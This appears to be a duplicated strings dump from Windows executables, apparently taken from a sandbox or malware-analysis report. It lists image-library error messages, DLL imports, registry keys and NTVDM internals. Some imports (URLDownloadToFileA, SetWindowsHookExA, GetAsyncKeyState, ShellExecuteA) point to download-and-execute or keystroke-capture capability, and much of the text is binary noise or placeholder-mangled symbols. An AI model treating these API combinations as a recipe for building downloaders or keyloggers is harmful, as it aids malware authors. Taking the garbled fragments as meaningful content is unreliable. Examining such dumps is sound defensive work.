Not a JPEG file: starts with 0xx 0xx

Not a JPEG file: starts with 0xx 0xx

Quantization table 0xx was not defined

Quantization table 0xx was not defined

Huffman table 0xx was not defined

Huffman table 0xx was not defined

Backing store not supported

Backing store not supported

Cannot transcode due to multiple use of quantization table %d

Cannot transcode due to multiple use of quantization table %d

Maximum supported image dimension is %u pixels

Maximum supported image dimension is %u pixels

Empty JPEG image (DNL not supported)

Empty JPEG image (DNL not supported)

Bogus DQT index %d

Bogus DQT index %d

Bogus DHT index %d

Bogus DHT index %d

Bogus DAC value 0x%x

Bogus DAC value 0x%x

Bogus DAC index %d

Bogus DAC index %d

Unsupported color conversion request

Unsupported color conversion request

Too many color components: %d, max %d

Too many color components: %d, max %d

Buffer passed to JPEG library is too small

Buffer passed to JPEG library is too small

JPEG parameter struct mismatch: library thinks size is %u, caller expects %u

JPEG parameter struct mismatch: library thinks size is %u, caller expects %u

Improper call to JPEG library in state %d

Improper call to JPEG library in state %d

Invalid scan script at entry %d

Invalid scan script at entry %d

Invalid progressive parameters at scan script entry %d

Invalid progressive parameters at scan script entry %d

Invalid progressive parameters Ss=%d Se=%d Ah=%d Al=%d

Invalid progressive parameters Ss=%d Se=%d Ah=%d Al=%d

Unsupported JPEG data precision %d

Unsupported JPEG data precision %d

Invalid memory pool code %d

Invalid memory pool code %d

Wrong JPEG library version: library is %d, caller expects %d

Wrong JPEG library version: library is %d, caller expects %d

IDCT output block size %d not supported

IDCT output block size %d not supported

Invalid component ID %d in SOS

Invalid component ID %d in SOS

Bogus message code %d

Bogus message code %d

Found bad IPTC data resource (len exceeds block end). ID=%d

Found bad IPTC data resource (len exceeds block end). ID=%d

ExifInteroperabilityOffset

ExifInteroperabilityOffset

InteroperabilityVersion

InteroperabilityVersion

InteroperabilityIndex

InteroperabilityIndex

AsShotPreProfileMatrix

AsShotPreProfileMatrix

AsShotICCProfile

AsShotICCProfile

AsShotWhiteXY

AsShotWhiteXY

AsShotNeutral

AsShotNeutral

InteroperabilityIFDOffset

InteroperabilityIFDOffset

Internal error, unknown tag 0x%x

Internal error, unknown tag 0x%x

Tag %d

Tag %d

Compression algorithm does not support random access

Compression algorithm does not support random access

Compression scheme %u %s encoding is not implemented

Compression scheme %u %s encoding is not implemented

%s %s encoding is not implemented

%s %s encoding is not implemented

Compression scheme %u %s decoding is not implemented

Compression scheme %u %s decoding is not implemented

%s %s decoding is not implemented

%s %s decoding is not implemented

%s: Cannot determine size of unknown tag type %d

%s: Cannot determine size of unknown tag type %d

%s: TIFF directory is missing required "%s" field

%s: TIFF directory is missing required "%s" field

incorrect count for field "%s" (%u, expecting %u); tag trimmed

incorrect count for field "%s" (%u, expecting %u); tag trimmed

incorrect count for field "%s" (%u, expecting %u); tag ignored

incorrect count for field "%s" (%u, expecting %u); tag ignored

%s: Can not read TIFF directory

%s: Can not read TIFF directory

%s: Can not read TIFF directory count

%s: Can not read TIFF directory count

%s: Seek error accessing TIFF directory

%s: Seek error accessing TIFF directory

Error fetching data for field "%s"

Error fetching data for field "%s"

%s: Rational with zero denominator (num = %u)

%s: Rational with zero denominator (num = %u)

unexpected count for field "%s", %u, expected 2; ignored

unexpected count for field "%s", %u, expected 2; ignored

cannot read TIFF_ANY type %d for field "%s"

cannot read TIFF_ANY type %d for field "%s"

Cannot handle different per-sample values for field "%s"

Cannot handle different per-sample values for field "%s"

%s: cannot handle zero strip size

%s: cannot handle zero strip size

%s: cannot handle zero tile size

%s: cannot handle zero tile size

%s: cannot handle zero scanline size

%s: cannot handle zero scanline size

%s: Wrong "%s" field, ignoring and calculating from imagelength

%s: Wrong "%s" field, ignoring and calculating from imagelength

%s: Bogus "%s" field, ignoring and calculating from imagelength

%s: Bogus "%s" field, ignoring and calculating from imagelength

%s: TIFF directory is missing required "%s" field, calculating from imagelength

%s: TIFF directory is missing required "%s" field, calculating from imagelength

%s: cannot handle zero number of %s

%s: cannot handle zero number of %s

%s: wrong data type %d for "%s"; tag ignored

%s: wrong data type %d for "%s"; tag ignored

Registering anonymous field with tag %d (0x%x) failed

Registering anonymous field with tag %d (0x%x) failed

%s: unknown field with tag %d (0x%x) encountered

%s: unknown field with tag %d (0x%x) encountered

%s: invalid TIFF directory; tags are not sorted in ascending order

%s: invalid TIFF directory; tags are not sorted in ascending order

%s: Failed to read directory at offset %u

%s: Failed to read directory at offset %u

Unknown zTXt compression type %d

Unknown zTXt compression type %d

Incomplete compressed datastream in %s chunk

Incomplete compressed datastream in %s chunk

Data error in compressed datastream in %s chunk

Data error in compressed datastream in %s chunk

Buffer error in compressed datastream in %s chunk

Buffer error in compressed datastream in %s chunk

gamma = (%d/100000)

gamma = (%d/100000)

gx=%f, gy=%f, bx=%f, by=%f

gx=%f, gy=%f, bx=%f, by=%f

wx=%f, wy=%f, rx=%f, ry=%f

wx=%f, wy=%f, rx=%f, ry=%f

incorrect gamma=(%d/100000)

incorrect gamma=(%d/100000)

deflate 1.2.3 Copyright 1995-2003 Jean-loup Gailly

deflate 1.2.3 Copyright 1995-2003 Jean-loup Gailly

%ld%c

%ld%c

%s compression support is not configured

%s compression support is not configured

inflate 1.2.3 Copyright 1995-2005 Mark Adler

inflate 1.2.3 Copyright 1995-2005 Mark Adler

LogL16Decode: Not enough data at row %d (short %d pixels)

LogL16Decode: Not enough data at row %d (short %d pixels)

LogLuvDecode24: Not enough data at row %d (short %d pixels)

LogLuvDecode24: Not enough data at row %d (short %d pixels)

LogLuvDecode32: Not enough data at row %d (short %d pixels)

LogLuvDecode32: Not enough data at row %d (short %d pixels)

?%s: No space for SGILog translation buffer

?%s: No space for SGILog translation buffer

No support for converting user data format to LogL

No support for converting user data format to LogL

No support for converting user data format to LogLuv

No support for converting user data format to LogLuv

Inappropriate photometric interpretation %d for SGILog compression; %s

Inappropriate photometric interpretation %d for SGILog compression; %s

SGILog compression supported only for %s, or raw data

SGILog compression supported only for %s, or raw data

Unknown data format %d for LogLuv compression

Unknown data format %d for LogLuv compression

Unknown encoding %d for LogLuv compression

Unknown encoding %d for LogLuv compression

%s: No space for LogLuv state block

%s: No space for LogLuv state block

?PixarLog compression can't handle bits depth/data format combination (depth: %d)

?PixarLog compression can't handle bits depth/data format combination (depth: %d)

%d bit input not supported in PixarLog

%d bit input not supported in PixarLog

PixarLogDecode: unsupported bits/sample: %d

PixarLogDecode: unsupported bits/sample: %d

%s: stride %d is not a multiple of sample count, %d, data truncated.

%s: stride %d is not a multiple of sample count, %d, data truncated.

%s: zlib error: %s

%s: zlib error: %s

%s: Not enough data at scanline %d (short %d bytes)

%s: Not enough data at scanline %d (short %d bytes)

%s: Decoding error at scanline %d, %s

%s: Decoding error at scanline %d, %s

PixarLog compression can't handle %d bit linear encodings

PixarLog compression can't handle %d bit linear encodings

A%s: Encoder error: %s

A%s: Encoder error: %s

%s: Bad code word at line %u of %s %u (x %u)

%s: Bad code word at line %u of %s %u (x %u)

%s: Uncompressed data (not supported) at line %u of %s %u (x %u)

%s: Uncompressed data (not supported) at line %u of %s %u (x %u)

%s: %s at line %u of %s %u (got %u, expected %u)

%s: %s at line %u of %s %u (got %u, expected %u)

%s: Premature EOF at line %u of %s %u (x %u)

%s: Premature EOF at line %u of %s %u (x %u)

%s: No space for Group 3/4 reference line

%s: No space for Group 3/4 reference line

@ Fax DCS: %s

@ Fax DCS: %s

Fax SubAddress: %s

Fax SubAddress: %s

(%u = 0x%x)

(%u = 0x%x)

%sEOL padding

%sEOL padding

%s2-d encoding

%s2-d encoding

%suncompressed data

%suncompressed data

%s: No space for state block

%s: No space for state block

JpegRestartInterval: %u

JpegRestartInterval: %u

JpegProc: %u

JpegProc: %u

OJPEG encoding not supported; use new-style JPEG compression instead

OJPEG encoding not supported; use new-style JPEG compression instead

Unknown marker type %d in JPEG data

Unknown marker type %d in JPEG data

Subsampling values [%d,%d] are not allowed in TIFF

Subsampling values [%d,%d] are not allowed in TIFF

Subsampling inside JPEG data does not match subsampling tag values [%d,%d] (nor any other values allowed in TIFF); assuming subsampling inside JPEG data is correct and desubsampling inside JPEG decompression

Subsampling inside JPEG data does not match subsampling tag values [%d,%d] (nor any other values allowed in TIFF); assuming subsampling inside JPEG data is correct and desubsampling inside JPEG decompression

Subsampling inside JPEG data [%d,%d] does not match subsampling tag values [%d,%d]; assuming subsampling inside JPEG data is correct

Subsampling inside JPEG data [%d,%d] does not match subsampling tag values [%d,%d]; assuming subsampling inside JPEG data is correct

Subsampling tag is not set, yet subsampling inside JPEG data [%d,%d] does not match default values [2,2]; assuming subsampling inside JPEG data is correct

Subsampling tag is not set, yet subsampling inside JPEG data [%d,%d] does not match default values [2,2]; assuming subsampling inside JPEG data is correct

SamplesPerPixel %d not supported for this compression scheme

SamplesPerPixel %d not supported for this compression scheme

JPEG strip/tile size exceeds expected dimensions, expected %dx%d, got %dx%d

JPEG strip/tile size exceeds expected dimensions, expected %dx%d, got %dx%d

Decompressor will try reading with sampling %d,%d.

Decompressor will try reading with sampling %d,%d.

Improper JPEG sampling factors %d,%d

Improper JPEG sampling factors %d,%d

Apparently should be %d,%d.

Apparently should be %d,%d.

Improper JPEG strip/tile size, expected %dx%d, got %dx%d

Improper JPEG strip/tile size, expected %dx%d, got %dx%d

RowsPerStrip must be multiple of %d for JPEG

RowsPerStrip must be multiple of %d for JPEG

JPEG tile width must be multiple of %d

JPEG tile width must be multiple of %d

JPEG tile height must be multiple of %d

JPEG tile height must be multiple of %d

BitsPerSample %d not allowed for JPEG

BitsPerSample %d not allowed for JPEG

PhotometricInterpretation %d not allowed for JPEG

PhotometricInterpretation %d not allowed for JPEG

ThunderDecode: %s data at scanline %ld (%lu != %lu)

ThunderDecode: %s data at scanline %ld (%lu != %lu)

LZWDecode: Bogus encoding, loop in the code table; scanline %d

LZWDecode: Bogus encoding, loop in the code table; scanline %d

LZWDecode: Not enough data at scanline %d (short %ld bytes)

LZWDecode: Not enough data at scanline %d (short %ld bytes)

LZWDecode: Wrong length of decoded string: data probably corrupted at scanline %d

LZWDecode: Wrong length of decoded string: data probably corrupted at scanline %d

LZWDecode: Corrupted LZW table at scanline %d

LZWDecode: Corrupted LZW table at scanline %d

LZWDecode: Strip %d not terminated with EOI code

LZWDecode: Strip %d not terminated with EOI code

LZWDecodeCompat: Corrupted LZW table at scanline %d

LZWDecodeCompat: Corrupted LZW table at scanline %d

LZWDecodeCompat: Wrong length of decoded string: data probably corrupted at scanline %d

LZWDecodeCompat: Wrong length of decoded string: data probably corrupted at scanline %d

LZWDecodeCompat: Not enough data at scanline %d (short %ld bytes)

LZWDecodeCompat: Not enough data at scanline %d (short %ld bytes)

DumpModeDecode: Not enough data for scanline %d

DumpModeDecode: Not enough data for scanline %d

Horizontal differencing "Predictor" not supported with %d-bit samples

Horizontal differencing "Predictor" not supported with %d-bit samples

Floating point "Predictor" not supported with %d data format

Floating point "Predictor" not supported with %d data format

"Predictor" value %d not supported

"Predictor" value %d not supported

Out of memory allocating %d byte temp buffer.

Out of memory allocating %d byte temp buffer.

%u (0x%x)

%u (0x%x)

WindowsForms

WindowsForms

NTDLL.DLL

NTDLL.DLL

COMCTL32.DLL

COMCTL32.DLL

USER32.DLL

USER32.DLL

MSCTF.DLL

MSCTF.DLL

GDI32.DLL

GDI32.DLL

SHLWAPI.DLL

SHLWAPI.DLL

UXTHEME.DLL

UXTHEME.DLL

API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL

API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL

LEFTPRESSED

LEFTPRESSED

ALWAYSSHOWSIZINGBAR

ALWAYSSHOWSIZINGBAR

MSGBOXFONT

MSGBOXFONT

%[^,], %ld, %s

%[^,], %ld, %s

User32.dll

User32.dll

msimg32.dll

msimg32.dll

windows-1254

windows-1254

windows-874

windows-874

SUBLANG_PORTUGUESE_BRAZILIAN

SUBLANG_PORTUGUESE_BRAZILIAN

Portuguese (Brazil)

Portuguese (Brazil)

SUBLANG_PORTUGUESE

SUBLANG_PORTUGUESE

LANG_PORTUGUESE

LANG_PORTUGUESE

Portuguese (Portugal)

Portuguese (Portugal)

windows-1255

windows-1255

windows-1257

windows-1257

windows-1253

windows-1253

windows-1252

windows-1252

windows-1250

windows-1250

windows-1256

windows-1256

windows-1251

windows-1251

1.2.40

1.2.40

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

WININET.dll

WININET.dll

?#%X.y

?#%X.y

InternetCrackUrlA

InternetCrackUrlA

InternetCanonicalizeUrlA

InternetCanonicalizeUrlA

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@@

[email protected]@@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected][email protected][email protected][email protected][email protected]@@@@@[email protected]@[email protected]@[email protected]@

[email protected][email protected][email protected][email protected][email protected]@@@@@[email protected]@[email protected]@[email protected]@

[email protected][email protected][email protected][email protected]@@@@@[email protected]@

[email protected][email protected][email protected][email protected]@@@@@[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected]@@[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected]@@[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected]@@[email protected]@@

[email protected]@@[email protected]@@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@[email protected]@@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected][email protected][email protected][email protected]@[email protected]@@@@[email protected]@[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

[email protected]@

zcÁ

zcÁ

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe

GetProcessHeap

GetProcessHeap

GetCPInfo

GetCPInfo

GetWindowsDirectoryA

GetWindowsDirectoryA

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

RegCreateKeyExA

RegCreateKeyExA

RegEnumKeyA

RegEnumKeyA

RegEnumKeyExA

RegEnumKeyExA

RegQueryInfoKeyA

RegQueryInfoKeyA

RegDeleteKeyA

RegDeleteKeyA

SetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

SetViewportExtEx

ScaleViewportExtEx

ScaleViewportExtEx

GetViewportOrgEx

GetViewportOrgEx

GetViewportExtEx

GetViewportExtEx

GdiplusShutdown

GdiplusShutdown

ShellExecuteExA

ShellExecuteExA

ShellExecuteA

ShellExecuteA

UrlUnescapeA

UrlUnescapeA

URLDownloadToFileA

URLDownloadToFileA

MapVirtualKeyExA

MapVirtualKeyExA

GetKeyboardState

GetKeyboardState

GetKeyboardLayout

GetKeyboardLayout

MapVirtualKeyA

MapVirtualKeyA

GetKeyNameTextA

GetKeyNameTextA

SetWindowsHookExA

SetWindowsHookExA

UnhookWindowsHookEx

UnhookWindowsHookEx

CreateDialogIndirectParamA

CreateDialogIndirectParamA

GetKeyState

GetKeyState

ExitWindowsEx

ExitWindowsEx

EnumWindows

EnumWindows

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

GetAsyncKeyState

GetAsyncKeyState

|5#" " "

|5#" " "

# # #""%"$

# # #""%"$

^)1-"*"<.>

^)1-"*"<.>

2;%SK

2;%SK

%.Fh3>$]R

%.Fh3>$]R

]

]

WEBI

WEBI

]>2?>2/"

]>2?>2/"

H%FZW

H%FZW

|@@@@8>-

|@@@@8>-

\ ,%X

\ ,%X

[9

[9

!3-%#;3&1

!3-%#;3&1

##0#3131%&

##0#3131%&

.QICN,1#-#5##Jl;>C3I=I6lIC6&-4-350T-3]

.QICN,1#-#5##Jl;>C3I=I6lIC6&-4-350T-3]

$&%f#F>#

$&%f#F>#

:[email protected]*00

:[email protected]*00

$,0($,$4

$,0($,$4

(,,4,4,$

(,,4,4,$

0488

0488

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

accKeyboardShortcut

accKeyboardShortcut

hhctrl.ocx

hhctrl.ocx

dwmapi.dll

dwmapi.dll

xUxTheme.dll

xUxTheme.dll

yDWrite.dll

yDWrite.dll

D2D1.dll

D2D1.dll

SHELL32.DLL

SHELL32.DLL

RICHED20.DLL

RICHED20.DLL

mscoree.dll

mscoree.dll

ekernel32.dll

ekernel32.dll

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

aero.msstyles

aero.msstyles

winxp.royale.cjstyles

winxp.royale.cjstyles

royale.msstyles

royale.msstyles

winxp.luna.cjstyles

winxp.luna.cjstyles

luna.msstyles

luna.msstyles

Argument %d must be of type %s.

Argument %d must be of type %s.

%d arguments required.

%d arguments required.

All Files (*.*)

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

#Unable to load mail system support.

Note that if you choose to recover the auto-saved documents, you must explicitly save them to overwrite the original documents. If you choose to not recover the auto-saved versions, they will be deleted.fRecover the auto-saved documents

Note that if you choose to recover the auto-saved documents, you must explicitly save them to overwrite the original documents. If you choose to not recover the auto-saved versions, they will be deleted.fRecover the auto-saved documents

%s [Recovered]

%s [Recovered]

ntvdm.exe_4008:

.text

.text

`.data

`.data

.rsrc

.rsrc

@.reloc

@.reloc

KERNEL32.dll

KERNEL32.dll

NTDLL.DLL

NTDLL.DLL

ADVAPI32.dll

ADVAPI32.dll

GDI32.dll

GDI32.dll

USER32.dll

USER32.dll

sfc.dll

sfc.dll

sfc_os.DLL

sfc_os.DLL

SHELL32.dll

SHELL32.dll

SoftPC

SoftPC

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

Invalid parameter passed to C runtime function.

Invalid parameter passed to C runtime function.

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

d:\w7rtm\base\mvdm\softpc.new\base\video\video.c

d:\w7rtm\base\mvdm\softpc.new\base\video\video.c

BIOS keyboard buffer overflow

BIOS keyboard buffer overflow

hardware keyboard buffer overflow

hardware keyboard buffer overflow

%s Mouse %d.01 already installed

%s Mouse %d.01 already installed

%s Mouse %d.01 installed

%s Mouse %d.01 installed

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_timer.c

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_timer.c

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_eoi.c

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_eoi.c

C:\IBMBIO.SYS

C:\IBMBIO.SYS

C:\IO.SYS

C:\IO.SYS

C:\IBMDOS.SYS

C:\IBMDOS.SYS

C:\MSDOS.SYS

C:\MSDOS.SYS

\ntio404.sys

\ntio404.sys

\ntio411.sys

\ntio411.sys

\ntio412.sys

\ntio412.sys

\ntio804.sys

\ntio804.sys

\ntio.sys

\ntio.sys

%s %lxh

%s %lxh

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_com.c

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_com.c

d:\w7rtm\base\mvdm\softpc.new\host\src\config.c

d:\w7rtm\base\mvdm\softpc.new\host\src\config.c

Software\Microsoft\Windows NT\CurrentVersion\WOW\Console

Software\Microsoft\Windows NT\CurrentVersion\WOW\Console

\\.\$VDMLPT2

\\.\$VDMLPT2

\\.\$VDMLPT3

\\.\$VDMLPT3

\\.\$VDMLPT1

\\.\$VDMLPT1

FONT.NT

FONT.NT

\ega.cpi

\ega.cpi

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_fulsc.c

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_fulsc.c

Drive %c:

Drive %c:

Incompatible DOS diskette, C H R N = %d %d %d %d

Incompatible DOS diskette, C H R N = %d %d %d %d

\\.\A:

\\.\A:

\\.\?:

\\.\?:

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_event.c

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_event.c

cmd.exe

cmd.exe

WINDOWS VMM 4.0

WINDOWS VMM 4.0

WINDOWS NT 3.1

WINDOWS NT 3.1

WINDOWS 386 3.0

WINDOWS 386 3.0

WINDOWS 286 3.0

WINDOWS 286 3.0

\_default.pif

\_default.pif

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_det.c

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_det.c

VrRemoveOpenNamedPipeInfo

VrRemoveOpenNamedPipeInfo

VrConvertLocalNtPipeName

VrConvertLocalNtPipeName

VrAddOpenNamedPipeInfo

VrAddOpenNamedPipeInfo

VrIsNamedPipeHandle

VrIsNamedPipeHandle

VrIsNamedPipeName

VrIsNamedPipeName

VrWriteNamedPipe

VrWriteNamedPipe

VrReadNamedPipe

VrReadNamedPipe

midiOutShortMsg

midiOutShortMsg

midiOutLongMsg

midiOutLongMsg

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_hosts.c

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_hosts.c

NtDeviceIoControlFile failed %x

NtDeviceIoControlFile failed %x

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_sec.c

d:\w7rtm\base\mvdm\softpc.new\host\src\nt_sec.c

SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx

SoftPc: NtDeCommitVirtualMemory failed !!!! Status = %lx

NTVDMD.DLL

NTVDMD.DLL

Check Keyboard Status

Check Keyboard Status

\ntdos404.sys

\ntdos404.sys

\ntdos411.sys

\ntdos411.sys

\ntdos412.sys

\ntdos412.sys

\ntdos804.sys

\ntdos804.sys

\ntdos.sys

\ntdos.sys

demDosDispCall %s

demDosDispCall %s

config.nt

config.nt

PIPE

PIPE

%c:%sNUL

%c:%sNUL

Software\Microsoft\Windows\CurrentVersion\Setup

Software\Microsoft\Windows\CurrentVersion\Setup

Unimplemented SVC %d

Unimplemented SVC %d

Software\Microsoft\Windows NT\CurrentVersion\WOW

Software\Microsoft\Windows NT\CurrentVersion\WOW

tmp dir is

tmp dir is

env var is

env var is

InitFileRedirect:%s ;

InitFileRedirect:%s ;

RedirectShortFileName: to:

RedirectShortFileName: to:

RedirectShortFileName: from

RedirectShortFileName: from

RedirectShortEnvVar: to

RedirectShortEnvVar: to

RedirectShortEnvVar:

RedirectShortEnvVar:

RedirectLongFileName: to

RedirectLongFileName: to

RedirectLongFileName:

RedirectLongFileName:

%SystemRoot%

%SystemRoot%

%SystemDrive%\Temp

%SystemDrive%\Temp

%SystemRoot%\Temp

%SystemRoot%\Temp

%s=%s%s /p %s\system32

%s=%s%s /p %s\system32

%s=%3.3u,%3.3u,%s\system32\%s.sys%s

%s=%3.3u,%3.3u,%s\system32\%s.sys%s

Error Code 0x%x

Error Code 0x%x

Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine

Software\Microsoft\Windows NT\CurrentVersion\WOW\CmdLine

krnl386.exe

krnl386.exe

%s - %s

%s - %s

COMMAND.COM

COMMAND.COM

KEYB

KEYB

\KEYBOARD.SYS

\KEYBOARD.SYS

\KEYJ31.SYS

\KEYJ31.SYS

\KEY02.SYS

\KEY02.SYS

\KEY01.SYS

\KEY01.SYS

\KEYAX.SYS

\KEYAX.SYS

%s,%d,%s

%s,%d,%s

\KB16.COM

\KB16.COM

DosKeybIDs

DosKeybIDs

System\CurrentControlSet\Control\Keyboard Layout\

System\CurrentControlSet\Control\Keyboard Layout\

DosKeybCodes

DosKeybCodes

00000409

00000409

Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility

Software\Microsoft\Windows NT\CurrentVersion\WOW\Compatibility

ntvdm.exe

ntvdm.exe

d:\w7rtm\base\mvdm\dpmi32\buffer.c

d:\w7rtm\base\mvdm\dpmi32\buffer.c

Broken pipe

Broken pipe

Inappropriate I/O control operation

Inappropriate I/O control operation

Operation not permitted

Operation not permitted

ega.rom

ega.rom

vga.rom

vga.rom

v7vga.rom

v7vga.rom

bios4.rom

bios4.rom

bios1.rom

bios1.rom

profile.spc

profile.spc

.spcprofile

.spcprofile

d:\w7rtm\base\mvdm\softpc.new\host\src\x86_emm.c

d:\w7rtm\base\mvdm\softpc.new\host\src\x86_emm.c

CS:x IP:x OP:x x x x x

CS:x IP:x OP:x x x x x

ntvdm.pdb

ntvdm.pdb

YtYHt.Hut

YtYHt.Hut

t.VVVV

t.VVVV

t.IIt

t.IIt

SSSSh

SSSSh

~,WSSh

~,WSSh

QSSSSh

QSSSSh

PSSSSh

PSSSSh

SSSSSh

SSSSSh

j.Yf;

j.Yf;

9t.Ht

9t.Ht

s'f;O%s!

s'f;O%s!

V

V

tK

tK

Ht.HuL

Ht.HuL

t4HtPHt.Ht

t4HtPHt.Ht

Ht.Ht

Ht.Ht

|.WSV

|.WSV

GetCPInfo

GetCPInfo

GetConsoleOutputCP

GetConsoleOutputCP

NtEnumerateValueKey

NtEnumerateValueKey

NtOpenKey

NtOpenKey

ntdll.dll

ntdll.dll

RegCloseKey

RegCloseKey

RegQueryInfoKeyA

RegQueryInfoKeyA

RegOpenKeyExA

RegOpenKeyExA

GetSystemWindowsDirectoryA

GetSystemWindowsDirectoryA

GetWindowsDirectoryA

GetWindowsDirectoryA

SetConsoleOutputCP

SetConsoleOutputCP

SetConsoleKeyShortcuts

SetConsoleKeyShortcuts

VDMConsoleOperation

VDMConsoleOperation

GetConsoleKeyboardLayoutNameA

GetConsoleKeyboardLayoutNameA

EnumWindows

EnumWindows

GetKeyState

GetKeyState

VkKeyScanW

VkKeyScanW

MapVirtualKeyA

MapVirtualKeyA

GetKeyboardType

GetKeyboardType

GetProcessHeap

GetProcessHeap

SoftPcEoi

SoftPcEoi

cmdCheckTemp

cmdCheckTemp

cmdCheckTempInit

cmdCheckTempInit

demIsShortPathName

demIsShortPathName

'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?

'?--?1-?6-?:-??-??-:?-6?-1?--?1-?6-?:-??-:?-6?-1?--?--?1-?6-?:-??-:?-6?-1?

$$$(((---222888???

$$$(((---222888???

!"#$%&'(

!"#$%&'(

SoftPC-AT Version 3

SoftPC-AT Version 3

89:;?

89:;?

autoexec.nt

autoexec.nt

00030

00030

30333

30333

?0?3???

?0?3???

!"#$%&'()

!"#$%&'()

Software\Microsoft\Windows NT\CurrentVersion\Terminal Server

Software\Microsoft\Windows NT\CurrentVersion\Terminal Server

\System32\command.com

\System32\command.com

zcÁ

